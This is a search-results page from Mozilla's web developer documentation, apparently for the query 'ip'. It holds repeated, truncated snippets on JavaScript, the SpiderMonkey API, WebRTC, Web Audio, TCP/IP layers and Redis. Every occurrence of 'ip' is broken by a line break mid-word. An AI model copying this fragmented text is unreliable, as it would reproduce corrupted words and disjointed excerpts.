ipt is a programming language mostly used client-side to make webpages interactive. you can create amazing webpages without javascr
ipt, but javascr
ipt opens up a whole new level of possibilities. in this article we're going over the html code you need to make javascr
ipt take effect. ...
...ant best practices for keeping javascr
ipt accessible. about javascr
ipt javascr
ipt is a programming language mostly used client-side to make webpages interactive. you can create amazing webpages without javascr
ipt, but javascr
ipt opens up a whole new level of possibilities. in this article we're going over the html code you need to make javascr
ipt take effect. if you want to learn javascr
ipt itself, you can start with our javascr
ipt basics article. if you already know something about javascr
ipt or if you have a background with other programming languages, we suggest you jump directly into our javascr
ipt guide. how to trigger javascr
ipt from html within a browser, javascr
ipt doesn't do anything by itself. ...
...o make javascr
ipt take effect. if you want to learn javascr
ipt itself, you can start with our javascr
ipt basics article. if you already know something about javascr
ipt or if you have a background with other programming languages, we suggest you jump directly into our javascr
ipt guide. how to trigger javascr
ipt from html within a browser, javascr
ipt doesn't do anything by itself. you run javascr
ipt from inside your html webpages. to call javascr
ipt code from within html, you need the <scr
ipt> element. there are two ways to use scr
ipt, depending on whether you're linking to an external scr
ipt or embedding a scr
ipt right in your webpage. linking an external scr
ipt usually, you'll be writing scr
ipts in their own .js files. ...
...And 12 more matches
Creating JavaScript jstest reftests
the js/src/tests directories test files are run by the jstest harness in the shell and the reftest harness in the browser. this directory contains tests of spidermonkey conformance to ecmascr
ipt as well as spidermonkey non-standard extenstions to ecmascr
ipt. directory overview in the js/src/tests directory, there are a few important subdirectories. non262 tests the directory js/src/tests/non262/ should contain all tests of the following type: regressions of spidermonkey non-standard spidermonkey extensions to the javascr
ipt language test of "implementation-defined" details of the ecmascr
ipt standard for example, the exact definition of pi or some details of array sorting. you should not add tests of the following type: tests of the jit test of jit cor...
...language test of "implementation-defined" details of the ecmascr
ipt standard for example, the exact definition of pi or some details of array sorting. you should not add tests of the following type: tests of the jit test of jit correctness belong in the jit-test suite, read more here. performance tests or stress tests tests of spidermonkey's comformance to the ecmascr
ipt standard a brief history: in 2017, spidermonkey started comsuming test262, a comprehensive tests suite for ecmascr
ipt implementations. before using test262, spidermonkey had a fair number of internal tests of conformance to ecmascr
ipt, and many of those tests remain in the js/src/non262 directory as regressions. test262 tests test262 is the implementation conformance test suite for the lates...
...mozilla manually imports these tests into the js/src/tests/test262 directory. ...
...And 12 more matches
JS_GetOwnPropertyDescriptor
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...And 12 more matches
JS_GetPropertyDescriptor
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the property. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the property. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the property. ...
...And 12 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascr
ipt execution stack is empty, but before returning control to the event loop being used by the user agent to drive the scr
ipt's execution environment. this event loop may be either the browser's main event loop or the event loop driving a web worker. this lets the given function run without the risk of interfering with another scr
ipt's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. ...
...sed by the user agent to drive the scr
ipt's execution environment. this event loop may be either the browser's main event loop or the event loop driving a web worker. this lets the given function run without the risk of interfering with another scr
ipt's execution, yet also ensures that the microtask runs before the user agent has the opportunity to react to actions taken by the microtask. javascr
ipt promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wrapping up. in order to allow microtasks to be used by third-party libraries, frameworks, and polyfills, the queuemicrotask() method is exposed on the window and worker interfaces through the windoworworkergloba...
...other times when the ability to defer work until the current event loop pass is wrapping up. in order to allow microtasks to be used by third-party libraries, frameworks, and polyfills, the queuemicrotask() method is exposed on the window and worker interfaces through the windoworworkerglobalscope mixin. ...
...And 12 more matches
RTCPeerConnection.setLocalDescription() - Web APIs
the rtcpeerconnection method setlocaldescr
iption() changes the local descr
iption associated with the connection. this descr
iption specifies the properties of the local end of the connection, including the media format. the method takes a single parameter--the session descr
iption--and it returns a promise which is fulfilled once the descr
iption has been changed, asynchronously. if setlocaldescr
iption() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions). because descr
iptions will be exchanged until the two peers agree on a configuration, the descr
iption submitted by calling setlocaldescr
iption() does not immediately take effect. instead, the current connection configuration remains in place until negotiation...
...twork conditions). because descr
iptions will be exchanged until the two peers agree on a configuration, the descr
iption submitted by calling setlocaldescr
iption() does not immediately take effect. instead, the current connection configuration remains in place until negotiation is complete. only then does the agreed-upon configuration take effect. syntax apromise = rtcpeerconnection.setlocaldescr
iption(sessiondescr
iption); pc.setlocaldescr
iption(sessiondescr
iption, successcallback, errorcallback); parameters sessiondescr
iption optional an rtcsessiondescr
iptioninit or rtcsessiondescr
iption which specifies the configuration to be applied to the local end of the connection. ...
...oes the agreed-upon configuration take effect. syntax apromise = rtcpeerconnection.setlocaldescr
iption(sessiondescr
iption); pc.setlocaldescr
iption(sessiondescr
iption, successcallback, errorcallback); parameters sessiondescr
iption optional an rtcsessiondescr
iptioninit or rtcsessiondescr
iption which specifies the configuration to be applied to the local end of the connection. if the descr
iption is omitted, the webrtc runtime tries to automatically do the right thing. implicit descr
iption if you don't explicity provide a session descr
iption, the webrtc runtime will try to handle it correctly. if the signaling state is one of stable, have-local-offer, or have-remote-pranswer, the webrtc runtime automatically creates a new offer and sets that as the new local descr
iption. otherwise,...
...And 12 more matches
Audio and video manipulation - Developer guides
hat you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. video man
ipulation the ability to read the pixel values from each frame of a video can be very useful. video and canvas the <canvas> element provides a surface for drawing graphics onto web pages; it is very powerful and can be coupled tightly with video. the general technique is to: write a frame from the <video> element to an intermediary <canvas> element. read the data from the intermediary <canva...
...ty to read the pixel values from each frame of a video can be very useful. video and canvas the <canvas> element provides a surface for drawing graphics onto web pages; it is very powerful and can be coupled tightly with video. the general technique is to: write a frame from the <video> element to an intermediary <canvas> element. read the data from the intermediary <canvas> element and man
ipulate it. write the man
ipulated data to your "display" <canvas>. pause and repeat. for example, let's process a video to display it in greyscale. in this case, we'll show both the source video and the output greyscale frames. ordinarily, if you were implementing a "play video in greyscale" feature, you'd probably add display: none to the style for the <video> element, to keep the source video ...
...n greyscale" feature, you'd probably add display: none to the style for the <video> element, to keep the source video from being drawn to the screen while showing only the canvas showing the altered frames. html we can set up our video player and <canvas> element like this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityr
ipple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityr
ipple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> javascr
ipt this code handles altering the frames. var processor = { timercallback: function() { if (this.video.paused || this.video.ended) { return; } this.computef...
...And 12 more matches
Control flow and error handling - JavaScript
see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. ...
...see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. ...
...see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. ...
...And 12 more matches
Working with objects - JavaScript
<< previousnext >> javascr
ipt is designed on a simple object-based paradigm. an object is a collection of properties, and a property is an association between a name (or key) and a value. a property's value can be a function, in which case the property is known as a method. in addition to objects that are predefined in the browser, you can define your own objects. this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects. objects overview objects in javascr
ipt, just as in many other programming languages, can be compared to objects in real life. the concept of objects in javascr
ipt can be understood with real life, tangible objects. in javascr
ipt, an object is a standalone entity, with properties and type. compare it...
...ny other programming languages, can be compared to objects in real life. the concept of objects in javascr
ipt can be understood with real life, tangible objects. in javascr
ipt, an object is a standalone entity, with properties and type. compare it with a cup, for example. a cup is an object, with properties. a cup has a color, a design, weight, a material it is made of, etc. the same way, javascr
ipt objects can have properties, which define their characteristics. objects and properties a javascr
ipt object has properties associated with it. a property of an object can be explained as a variable that is attached to the object. object properties are basically the same as ordinary javascr
ipt variables, except for the attachment to objects. the properties of an object define the characteristic...
...you can define a property by assigning it a value. ...
...And 12 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
previous overview: asynchronous next this tutorial looks at the traditional methods javascr
ipt has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), discusses what they are useful for, and considers their inherent issues. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to understand asynchronous loops and intervals and what they are useful for. ...
...val (e.g. a set number of times per second), discusses what they are useful for, and considers their inherent issues. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to understand asynchronous loops and intervals and what they are useful for. introduction for a long time, the web platform has offered javascr
ipt programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop. these functions are: settimeout() execute a specified block of code once after a specified time has elapsed. setinterval() execute a specified block of code repeatedly with a fixed ti...
...ymous function, then will display the alert message (see it running live, and see the source code): let mygreeting = settimeout(function() { alert('hello, mr. universe!'); }, 2000) the functions you specify don't have to be anonymous. you can give your function a name, and even define it somewhere else and pass a function reference to the settimeout(). the following two versions of the code sn
ippet are equivalent to the first one: // with a named function let mygreeting = settimeout(function sayhi() { alert('hello, mr. universe!'); }, 2000) // with a function defined separately function sayhi() { alert('hello mr. universe!'); } let mygreeting = settimeout(sayhi, 2000); that can be useful if you have a function that needs to be called both from a timeout and in response to an even...
...And 11 more matches
Solve common problems in your JavaScript code - Learn web development
common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc. correctly. ...
...ollowing statement: myfunction(); function scope remember that functions have their own scope -- you can't access a variable value set inside a function from outside the function, unless you declared the variable globally (i.e. not inside any functions), or return the value from the function. ...
...n from a function, the javascr
ipt interpreter exits the function -- no code after the return statement will run. in fact, some browsers (like firefox) will give you an error message in the developer console if you have code after a return statement. firefox gives you "unreachable code after return statement". object notation versus normal assignment when you assign something normally in javascr
ipt, you use a single equals sign, e.g.: const mynumber = 0; with objects, however, you need to take care to use the correct syntax. the object must be surrounded by curly braces, member names must be separated from their values using colons, and members must be separated by commas. ...
...And 11 more matches
Process scripts
process scr
ipts are new in firefox 38. if you're using the addon sdk you can use the remote/parent module's remoterequire instead. when you need to run code in the content process in order to access web content, then you should use frame scr
ipts. however, a problem with frame scr
ipts is that they can be loaded mult
iple times in the content process, in mult
iple scopes that are insulated from each other. for example, if you call the global frame message manager's loadframescr
ipt() function, then the scr
ipt will be loaded separately into all open tabs. this can then cause a problem the frame scr
ipts are interacting with a global service in the content process. ...
... that they can be loaded mult
iple times in the content process, in mult
iple scopes that are insulated from each other. for example, if you call the global frame message manager's loadframescr
ipt() function, then the scr
ipt will be loaded separately into all open tabs. this can then cause a problem the frame scr
ipts are interacting with a global service in the content process. for example, in mult
iprocess firefox, if you need to use nsicontentpolicy to register a content policy, you must do this in the content process. but if you register it in a frame scr
ipt, and the frame scr
ipt is loaded more than once, you'll register the content policy more than once, which probably isn't what you intend. similarly, some observer notifications must be registered in the content process, but if you do th...
...f you need to use nsicontentpolicy to register a content policy, you must do this in the content process. but if you register it in a frame scr
ipt, and the frame scr
ipt is loaded more than once, you'll register the content policy more than once, which probably isn't what you intend. similarly, some observer notifications must be registered in the content process, but if you do this in a frame scr
ipt, and the frame scr
ipt is loaded more than once, then you will get mult
iple notifications for that event. the solution in these cases is to use a process scr
ipt instead of a frame scr
ipt. you can load a process scr
ipt by accessing a parent process message manager and calling its loadprocessscr
ipt() function. the following code uses the global parent process message manager, which will load the ...
...And 11 more matches
JS_CompileScript
compiles a scr
ipt for execution. ...
... compiles a scr
ipt for execution. ...
... compiles a scr
ipt for execution. ...
...And 11 more matches
Regular expressions - JavaScript
<< previousnext >> regular expressions are patterns used to match character combinations in strings. in javascr
ipt, regular expressions are also objects. these patterns are used with the exec() and test() methods of regexp, and with the match(), matchall(), replace(), replaceall(), search(), and split() methods of string. this chapter describes javascr
ipt regular expressions. creating a regular expression you construct a regular expression in one of two ways: using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; regular expression literals provide compilation of the regular expression when the scr
ipt is loaded. if the regular expression remains constant, using this can improve performance. ...
...racters in the pattern. for example, to match a single "a" followed by zero or more "b"s followed by "c", you'd use the pattern /ab*c/: the * after "b" means "0 or more occurrences of the preceding item." in the string "cbbabbbbcdebc", this pattern will match the substring "abbbbc". the following pages provide lists of the different special characters that fit into each category, along with descr
iptions and examples. assertions assertions include boundaries, which indicate the beginnings and endings of lines and words, and other patterns indicating in some way that a match is possible (including look-ahead, look-behind, and conditional expressions). character classes distinguish different types of characters. for example, distinguishing between letters and digits. groups and ranges ...
...m using string.replace: function escaperegexp(string) { return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string } the "g" after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. it is explained in detail below in advanced searching with flags. ...
...And 11 more matches
Functions - JavaScript
generally speaking, a function is a "subprogram" that can be called by code external (or internal in the case of recursion) to the function. like the program itself, a function is composed of a sequence of statements called the function body. values can be passed to a function, and the function will return a value. in javascr
ipt, functions are first-class objects, because they can have properties and methods just like any other object. what distinguishes them from other objects is that functions can be called. in brief, they are function objects. for more examples and explanations, see also the javascr
ipt guide about functions. descr
iption every function in javascr
ipt is a function object. see function for information on properties and methods of function objects. to return a value oth...
...arrow function expression (=>) an arrow function expression has a shorter syntax and lexically binds its this value (see arrow functions for details): ([param[, param]]) => { statements } param => expression param the name of an argument. zero arguments need to be indicated with (). for only one argument, the parentheses are not required. (like foo => 1) statements or expression mult
iple statements need to be enclosed in brackets. a single expression requires no brackets. the expression is also the implicit return value of the function. the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. as all othe...
...is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal parameters. each must be a proper javascr
ipt identifier. functionbody a string containing the javascr
ipt statements comprising the function body. invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. the generatorfunction constructor note: generatorfunction is not a global object, but could be obtained from generator function instance (see generatorfu...
...And 11 more matches
Object.defineProperty() - JavaScript
operty() defines a new property directly on an object, or modifies an existing property on an object, and returns the object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.defineproperty(obj, prop, descr
iptor) parameters obj the object on which to define the property. prop the name or symbol of the property to be defined or modified. descr
iptor the descr
iptor for the property being defined or modified. return value the object that was passed to the function. descr
iption this method allows a precise addition to or modification of a property on an object. normal property addition throug...
...property on an object. normal property addition through assignment creates properties which show up during property enumeration (for...in loop or object.keys method), whose values may be changed, and which may be deleted. this method allows these extra details to be changed from their defaults. by default, values added using object.defineproperty() are immutable and not enumerable. property descr
iptors present in objects come in two main flavors: data descr
iptors and accessor descr
iptors. a data descr
iptor is a property that has a value, which may or may not be writable. an accessor descr
iptor is a property described by a getter-setter pair of functions. a descr
iptor must be one of these two flavors; it cannot be both. both data and accessor descr
iptors are objects. they share the followin...
... accessor descr
iptor is a property described by a getter-setter pair of functions. a descr
iptor must be one of these two flavors; it cannot be both. both data and accessor descr
iptors are objects. they share the following optional keys (note: the default value is in the case of defining properties using object.defineproperty()): configurable true if and only if the type of this property descr
iptor may be changed and if the property may be deleted from the corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descr
iptor also has the following optional keys: value the value associated with the property. ...
...And 11 more matches
clipPathUnits - SVG: Scalable Vector Graphics
the cl
ippathunits attribute indicates which coordinate system to use for the contents of the <cl
ippath> element. ...
... the cl
ippathunits attribute indicates which coordinate system to use for the contents of the <cl
ippath> element. ...
... the cl
ippathunits attribute indicates which coordinate system to use for the contents of the <cl
ippath> element. ...
...And 11 more matches
Multiple item extension packaging - Archive of obsolete content
from the release of firefox 53, mult
iple item extension packages are no longer supported and will not load. as a consequence, these packages are no longer accepted by amo. a mult
iple item package provides the ability to package mult
iple installable bundles which can then be downloaded and installed by a user, or provided pre-packaged with an application or by an external program. every mult
iple item package must provide an install.rdf file (not old-style install.js!) and has the same requirements as an extension except as noted below. there is currently no feature to prevent or warn the user when installing an older version of an extension. ...
...xpi file extension) and themes (e.g. ...
...xpi file extension) and themes (e.g. jar file extension). ...
...And 10 more matches
Clipboard - Archive of obsolete content
if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...And 10 more matches
Clipboard - Archive of obsolete content
if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...if no other arguments are specified, the flavor of the content is assumed to 'plain'.string flavordata type. ...
...And 10 more matches
TCP/IP Security - Archive of obsolete content
when a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding information. at each layer, the logical units are typically composed of a header and a payload. the payload consists of the information passed down from the previous layer, while the header contains layer-specific information such as addresses. at the application layer, the payload is the actual application data. the lowest layer sends the accumulated data through the physical network; the data is then passed up through the layers to its destination. ...
...ile the header contains layer-specific information such as addresses. at the application layer, the payload is the actual application data. the lowest layer sends the accumulated data through the physical network; the data is then passed up through the layers to its destination. essentially, the data produced by a layer is encapsulated in a larger container by the layer below it. the four tcp/
ip layers, from highest to lowest, are shown below. application layer. this layer sends and receives data for particular applications, such as domain name system (dns), hypertext transfer protocol (http), and simple mail transfer protocol (smtp). transport layer. this layer provides connection-oriented or connectionless services for transporting application layer services between networks. th...
...is layer provides connection-oriented or connectionless services for transporting application layer services between networks. the transport layer can optionally assure the reliability of communications. transmission control protocol (tcp) and user datagram protocol (udp) are commonly used transport layer protocols. network layer. this layer routes packets across networks. internet protocol (
ip) is the fundamental network layer protocol for tcp/
ip. other commonly used protocols at the network layer are internet control message protocol (icmp) and internet group management protocol (igmp). data link layer. this layer handles communications on the physical network components. the best-known data link layer protocol is ethernet. security controls exist for network communications at e...
...And 10 more matches
JavaScript object basics - Learn web development
overview: objects next in this article, we'll look at fundamental javascr
ipt object syntax, and revisit some javascr
ipt features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks). objective: to understand the basic theory behind object-oriented programming, how this relates to javascr
ipt ("most things are objects"), and how to start working with javascr
ipt objects. object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions -- which are called p...
...with javascr
ipt objects. object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions -- which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like. to begin with, make a local copy of our oojs.html file. this contains very little -- a <scr
ipt> element for us to write our source code into. we'll use this as a basis for exploring basic object syntax. while working with this example you should have your developer tools javascr
ipt console open and ready to type in some commands. as with many things in javascr
ipt, creating an object often begins with defining and initializing a variable. try entering the following line below the javascri...
...but this is an empty object, so we can't really do much with it. ...
...And 10 more matches
Inheritance in JavaScript - Learn web development
previous overview: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes. in addition, we present some advice on when and where you might use oojs, and look at how classes are dealt with in modern ecmascr
ipt syntax. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand how it is possible to implement inheritance in javascr
ipt. prototypal inheritance so far we have seen some inheritance in action -- we have seen how prototype chains work, and how member...
... getting started first of all, make yourself a local copy of our oojs-class-inheritance-start.html file (see it running live also). ...
... all is good so far, but we have a problem. we have defined a new constructor, and it has a prototype property, which by default just contains an object with a reference to the constructor function itself. it does not contain the methods of the person constructor's prototype property. to see this, enter object.getownpropertynames(teacher.prototype) into either the text input field or your javascr
ipt console. then enter it again, replacing teacher with person. nor does the new constructor inherit those methods. to see this, compare the outputs of person.prototype.greeting and teacher.prototype.greeting. we need to get teacher() to inherit the methods defined on person()'s prototype. so how do we do that? add the following line below your previous addition: teacher.prototype = object.cre...
...And 10 more matches
JSPrincipals
define security information for an object or scr
ipt. properties name type descr
iption refcount mozilla::atomic<int32_t> reference count. use js_holdprinc
ipals and js_dropprinc
ipals. codebase char * pointer to the codebase for the princ
ipal. obsolete since jsapi 13 getprinc
ipalarray void * (*)(jscontext *, jsprinc
ipals *) pointer to the function that returns an array of princ
ipal definitions. obsolete since jsapi 12 globalprivilegesenabled jsbool (*)(jscontext *, jsprinc
ipals *) flag indicating whether princ
ipals are enabled globally. ...
...solete since jsapi 13 getprinc
ipalarray void * (*)(jscontext *, jsprinc
ipals *) pointer to the function that returns an array of princ
ipal definitions. obsolete since jsapi 12 globalprivilegesenabled jsbool (*)(jscontext *, jsprinc
ipals *) flag indicating whether princ
ipals are enabled globally. obsolete since jsapi 12 destroy void (*)(jscontext *, jsprinc
ipals *) pointer to the function that decrements the reference count and possibly frees the princ
ipals if they are no longer in use. obsolete since jsapi 13 methods name descr
iption void dump() this is not defined by the js engine but should be provided by the embedding. ...
...api 12 destroy void (*)(jscontext *, jsprinc
ipals *) pointer to the function that decrements the reference count and possibly frees the princ
ipals if they are no longer in use. obsolete since jsapi 13 methods name descr
iption void dump() this is not defined by the js engine but should be provided by the embedding. added in spidermonkey 17 descr
iption jsprinc
ipals is the abstract base class of all princ
ipals objects, the objects that identify the source of a function or scr
ipt and are used to determine its privileges. a princ
ipals object is like a java codesource. jsprinc
ipals could be passed into the js engine through the js_newglobalobject function. jsprinc
ipals has refcount property that is the reference count. this is used for memor...
...And 10 more matches
Redis Tips
it is intended primarily for developers, and deliberately omits some topics that will be important in any redis deployment, like security and backups. some uses for redis data types you may have heard of redis referred to as a nosql database. technically, this is true: it's a database that doesn't use sql. but the statement is meaningless. it is also true that ice cream is a food that isn't made from whale meat. ...
...calling ice cream a nowhale food doesn't give you any sense of how good the ice cream is, or what sets it apart from other kinds of food that aren't made from whale meat but that are also very unlike ice cream -- it just gives the whaling industry a way to lump together people who don't use their products. so rather than thinking about redis as a database with some kind of non-existent relationsh
ip to sql, think of it as a data structure server with a rich set of commands for querying and man
ipulating those data structures over a network connection. redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some common programming tasks and data structures, and suggests some redis functions or...
...etwork connection. redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some common programming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc. ...
...And 10 more matches
How to build an XPCOM component in JavaScript
if you are looking for add-on sdk solution for xpcom javascr
ipt components then check out platform/xpcom module first. this is a "hello world" tutorial for creating an xpcom component in javascr
ipt. this tutorial does not describe how and why xpcom works the way it does, or what every bit of the example code does. that's been detailed elsewhere. this tutorial will show you what you need to do to get a component working in as few and as simple steps as possible. implementation this example component will expose a single method, which returns the string "hello world!". defining the interface if you want to use your component in other xpcom components, you must define the interfaces that you want exposed. ...
...show you what you need to do to get a component working in as few and as simple steps as possible. implementation this example component will expose a single method, which returns the string "hello world!". defining the interface if you want to use your component in other xpcom components, you must define the interfaces that you want exposed. if you want to use your component only from javascr
ipt, you can sk
ip to the next section. there are many interfaces already defined in mozilla applications, so you may not need to define a new one. you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components. you can download an old version of xpcomviewer that works with firefox 1.5 from mozde...
...define a new one. you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components. you can download an old version of xpcomviewer that works with firefox 1.5 from mozdev mirrors. ...
...And 10 more matches
BaseAudioContext.createScriptProcessor() - Web APIs
if specified, the buffersize must be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. ...
...if specified, the buffersize must be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. ...
...if specified, the buffersize must be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. ...
...And 10 more matches
PaymentResponse.shippingOption - Web APIs
the sh
ippingoption read-only property of the paymentrequest interface returns the id attribute of the sh
ipping option selected by the user. this option is only present when the requestsh
ipping option is set to true in the paymentoptions object passed to the paymentrequest constructor. syntax var sh
ippingoption = paymentrequest.sh
ippingoption; example in the example below, the paymentrequest.onsh
ippingaoptionchange event is called. it calls updatedetails() to toggle the sh
ipping method between "standard" and "express". // initialization of paymentrequest arguments are excerpted for brevity. ...
...ngoption = paymentrequest.sh
ippingoption; example in the example below, the paymentrequest.onsh
ippingaoptionchange event is called. it calls updatedetails() to toggle the sh
ipping method between "standard" and "express". // initialization of paymentrequest arguments are excerpted for brevity. var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('sh
ippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.sh
ippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatede...
..., function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.sh
ippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity. ...
...And 10 more matches
ScriptProcessorNode.onaudioprocess - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers. the onaudioprocess event handler of the scr
iptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispatched to scr
iptprocessornode node types. an event of type audioprocessingevent will be dispatched to the event handler. syntax var audioctx = new audiocontext(); var scr
iptnode = audioctx.createscr
iptprocessor(4096, 1, 1); scr
iptnode.onaudioprocess = function() { ... ...
...he eventhandler to be called for the audioprocess event that is dispatched to scr
iptprocessornode node types. an event of type audioprocessingevent will be dispatched to the event handler. syntax var audioctx = new audiocontext(); var scr
iptnode = audioctx.createscr
iptprocessor(4096, 1, 1); scr
iptnode.onaudioprocess = function() { ... } example the following example shows basic usage of a scr
iptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. ...
....createscr
iptprocessor(4096, 1, 1); scr
iptnode.onaudioprocess = function() { ... } example the following example shows basic usage of a scr
iptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for each channel and each sample frame, the scr
iptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case. ...
...And 10 more matches
Equality comparisons and sameness - JavaScript
which operation you choose depends on what sort of comparison you are looking to perform. briefly: double equals (==) will perform a typ...
...rray.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascr
ipt provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "tr
iple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015). which operation you choose depends on what sort of comparison you are looking to perform. briefly: double equals (==) will perform a type conversion when comparing two things, and will handle nan, -0, and +0 specially to conform to ieee 754 (so nan != nan, and -0 =...
...) == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015). which operation you choose depends on what sort of comparison you are looking to perform. briefly: double equals (==) will perform a type conversion when comparing two things, and will handle nan, -0, and +0 specially to conform to ieee 754 (so nan != nan, and -0 == +0); tr
iple equals (===) will do the same comparison as double equals (including the special handling for nan, -0, and +0) but without type conversion; if the types differ, false is returned. object.is does no type conversion and no special handling for nan, -0, and +0 (giving it the same behavior as === except on those special numeric values). note that the distinction between these all have to do with...
...And 10 more matches
Numbers and dates - JavaScript
<< previousnext >> this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascr
ipt. this includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global math object to perform a wide variety of mathematical operations on numbers. numbers in javascr
ipt, numbers are implemented in double-precision 64-bit binary format ieee 754 (i.e., a number between +-2-1022 and +-2+1023, or about +-10-308 to +-10+308, with a numeric precision of 53 bits). integer values up to +-253 - 1 can be represented exactly. in addition to being able to represent floating-point numbers, the number type has three symbolic values: +infinity, -infinity, and nan (not-a...
...ecision 64-bit binary format ieee 754 (i.e., a number between +-2-1022 and +-2+1023, or about +-10-308 to +-10+308, with a numeric precision of 53 bits). integer values up to +-253 - 1 can be represented exactly. in addition to being able to represent floating-point numbers, the number type has three symbolic values: +infinity, -infinity, and nan (not-a-number). a more recent addition to javascr
ipt is bigint which lets you represent integers that may be very large. there are caveats to using bigint, however; for example, you can't mix and match bigint and number values in the same operation, and you can't use the math object with bigint values. see also javascr
ipt data types and structures for context with other primitive types in javascr
ipt. you can use four types of number literals: de...
...000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal numbers octal number syntax uses a leading zero. if the digits after the 0 are outside the range 0 through 7, the number will be interpreted as a decimal number. ...
...And 10 more matches
